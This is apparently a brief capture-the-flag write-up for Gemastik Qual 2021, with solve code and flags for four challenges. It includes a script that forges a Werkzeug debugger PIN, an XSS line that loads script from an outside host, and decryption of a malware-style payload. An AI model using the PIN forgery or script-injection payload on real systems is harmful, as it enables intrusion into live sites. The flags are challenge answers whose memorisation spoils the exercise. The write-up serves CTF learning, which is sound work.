Gemastik Qual 2021

Blindfolded (Crypto)

p = 266244959305997161737653945221
q = 48847778148226558444471332961837794797

e = 1119975793308356408617
d = inverse(e, r)
m = pow(c, d, n)
flag = long_to_bytes(m)
print (flag)

Flag: gemastik14{GCD_sav3d_7he_d4y_nangid}

Printout (Web Exploit)

import hashlib
from itertools import chain

probably_public_bits = ['ctf', 'flask.cli', 'DispatchingApp', '/usr/local/lib/python3.9/site-packages/flask/cli.py']

linux = b'4321de2d-2156-4ed9-9437-50b1ab2e0c28'
try:
    with open("cgroup", "rb") as f:
        linux += f.readline().strip().rpartition(b"/")[2]
except IOError:
    pass

print(linux)
private_bits = ['2485447371522', linux]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

Flag: gemastik14{winning_0ver_werkzeug_d3bugger}

php-ng (Web Exploit)

"><script src=https://domain.com/payload.js></script>

Flag: gemastik14{php_output_buffering_13niva09nhfwofib}

Slytherin (Reversing)

from uncomplyle6.main import decompile

a = '[-- SNIP --]'
decompile(2.7, marshal.loads(zlib.decompress(''.join([chr(ord(a[i%32]) ^ ord(a[i])) for i in range(32, len(a))]))), sys.stdout)

import zlib, os
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes, bytes_to_long
import libnum

public_key = '-----BEGIN PUBLIC KEY-----\nMCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRAp6i5d8BDOZL/fbsZtrTB6kCAwEAAQ==\n-----END PUBLIC KEY-----'

def dec(data, aes_key, nonce):
    cipher = AES.new(aes_key, AES.MODE_EAX, nonce)
    return zlib.decompress(cipher.decrypt(data))

nonce = [ 0xFF, 0xA2, 0x7D, 0x8B, 0x5B, 0xC4, 0xDA, 0x37, 0x62, 0x92, 0xBF, 0xDE, 0x53, 0x92, 0x60, 0x07 ]
nonce = ''.join(map(chr, nonce))
key = [ 0x02, 0x44, 0xA7, 0x44, 0xB6, 0x53, 0x0A, 0x6E, 0x40, 0xC0, 0xA1, 0xCF, 0x8A, 0xF2, 0x7D, 0x42, 0x09 ]
key = bytes_to_long(''.join(map(chr, key)))
enc = open('slythered').read().split('EEE').pop()

n = 891428571606980833500600698301815392169
e = 65537

p = 26962216988344497907
q = 33062139214751393267
d = libnum.invmod(e, (p-1) * (q-1))

open('result', 'w+').write(dec(enc, long_to_bytes(pow(key, d, n)), nonce))

Flag: gemastik14{you_just_beat_a_shapeshifting_malware}